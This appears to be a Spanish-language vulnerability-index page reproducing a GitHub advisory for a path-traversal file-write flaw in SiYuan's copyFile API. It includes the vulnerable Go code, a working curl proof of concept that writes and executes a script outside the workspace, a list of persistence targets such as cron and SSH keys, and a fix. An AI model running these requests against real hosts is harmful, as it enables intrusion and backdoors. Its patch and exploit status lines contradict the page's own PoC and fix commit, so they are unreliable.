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Advisory · GitHub · Go · github.com/siyuan-note/siyuan/kernel

GHSA-C4JR-5Q7W-F6R9

SiYuan has Arbitrary File Write via /api/file/copyFile leading to RCE

Sin parche publicado
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CVSS
—
critical
Fuente: —
ExplotaciónSin evidenciaNo figura en CISA KEV
Exploits públicos0Ninguno conocido
ParcheSin parcheEl fabricante no ha publicado corrección
Exposición294 dDesde la divulgación, 29 ene 2026, 10:15 a. m.
Detección291 dDesde la divulgación hasta su ingreso al índice
Timeline

Ciclo de vida de la vulnerabilidad

Hoy
Divulgación
Publicada
Modificada
Explotación
Remediación
Monitoreo
Detectada
29 ene 26
5 feb 26
17 nov 26
20 nov 26
29 ene 26
13 abr 26
25 jun 26
7 sept 26
20 nov 26
FechaFaseEventoDetalle
Divulgación Publicada GHSA-C4JR-5Q7W-F6R9 divulgada
Divulgación Modificada Última actualización del registro
Monitoreo Detectada Ingresó al índice
Resumen
Descripción del advisory
Texto original · GitHub · en inglés

Summary

The `/api/file/copyFile` endpoint does not validate the `dest` parameter, allowing authenticated users to write files to arbitrary locations on the filesystem. This can lead to Remote Code Execution (RCE) by writing to sensitive locations such as cron jobs, SSH authorized_keys, or shell configuration files.

  • Affected Version: 3.5.3 (and likely all prior versions)

Details

  • Type: Improper Limitation of a Pathname to a Restricted Directory (CWE-22)
  • Location: `kernel/api/file.go` - copyFile function
// kernel/api/file.go lines 94-139
func copyFile(c *gin.Context) {
    // ...
    src := arg["src"].(string)
    src, err := model.GetAssetAbsPath(src)  // src is validated
    // ...

    dest := arg["dest"].(string)  // dest is NOT validated!
    if err = filelock.Copy(src, dest); err != nil {
        // ...
    }
}

The `src` parameter is properly validated via `model.GetAssetAbsPath()`, but the `dest` parameter accepts any absolute path without validation, allowing files to be written outside the workspace directory.

PoC

Step 1: Upload malicious content to workspace
curl -X POST "http://target:6806/api/file/putFile" \
  -H "Authorization: Token <API_TOKEN>" \
  -F "path=/data/assets/malicious.sh" \
  -F "file=@-;filename=malicious.sh" <<< '#!/bin/sh
id > /tmp/pwned.txt
hostname >> /tmp/pwned.txt'
Step 2: Copy to arbitrary location (e.g., /tmp)
curl -X POST "http://target:6806/api/file/copyFile" \
  -H "Authorization: Token <API_TOKEN>" \
  -H "Content-Type: application/json" \
  -d '{"src": "assets/malicious.sh", "dest": "/tmp/malicious.sh"}'

Response: `{"code":0,"msg":"","data":null}`

Step 3: Verify file was written outside workspace
cat /tmp/malicious.sh
# Output: #!/bin/sh
#         id > /tmp/pwned.txt
#         hostname >> /tmp/pwned.txt

Attack Scenarios

| Target Path | Impact |
|-------------|--------|
| `/etc/cron.d/backdoor` | Scheduled command execution (RCE) |
| `~/.ssh/authorized_keys` | Persistent SSH access |
| `~/.bashrc` | Command execution on user login |
| `/etc/ld.so.preload` | Shared library injection |

RCE Demonstration

RCE was successfully demonstrated by writing a script and executing it:

# Write script to /tmp
curl -X POST "http://target:6806/api/file/copyFile" \
  -H "Authorization: Token <API_TOKEN>" \
  -d '{"src": "assets/malicious.sh", "dest": "/tmp/malicious.sh"}'

# Execute (simulating cron or login trigger)
sh /tmp/malicious.sh

# Result
cat /tmp/pwned.txt
# uid=0(root) gid=0(root) groups=0(root)...

Impact

An authenticated attacker (with API Token) can:
1. Achieve Remote Code Execution with the privileges of the SiYuan process
2. Establish persistent backdoor access via SSH keys
3. Compromise the entire host system
4. Access sensitive data on the same network (lateral movement)

Suggested Fix

Add path validation to ensure `dest` is within the workspace directory:

func copyFile(c *gin.Context) {
    // ...
    dest := arg["dest"].(string)

    // Add validation
    if !util.IsSubPath(util.WorkspaceDir, dest) {
        ret.Code = -1
        ret.Msg = "dest path must be within workspace"
        return
    }

    if err = filelock.Copy(src, dest); err != nil {
        // ...
    }
}

Solution

d7f790755edf8c78d2b4176171e5a0cdcd720feb

Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.

Versiones

Rangos afectados

Afectada Corregida
github.com/siyuan-note/siyuan/kernel≤ 0.0.0-20260126094835-d5d10dd41b0c
0.0.0-20260126094835-d5d10dd41b0c
Remediación

Estado del parche por paquete

Paquete / productoEstadoCorregida enDesde divulgaciónÚltima versión
Gogithub.com/siyuan-note/siyuan/kernel
Sin parche — — —
Explotación

Arsenal público

Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.

Referencias
Advisoryhttps://nvd.nist.gov/vuln/detail/CVE-2026-25539
Otrahttps://github.com/siyuan-note/siyuan/security/advisories/GHSA-c4jr-5q7w-f6r9
Otrahttps://github.com/siyuan-note/siyuan/commit/d7f790755edf8c78d2b4176171e5a0cdcd720feb
Otrahttps://github.com/siyuan-note/siyuan

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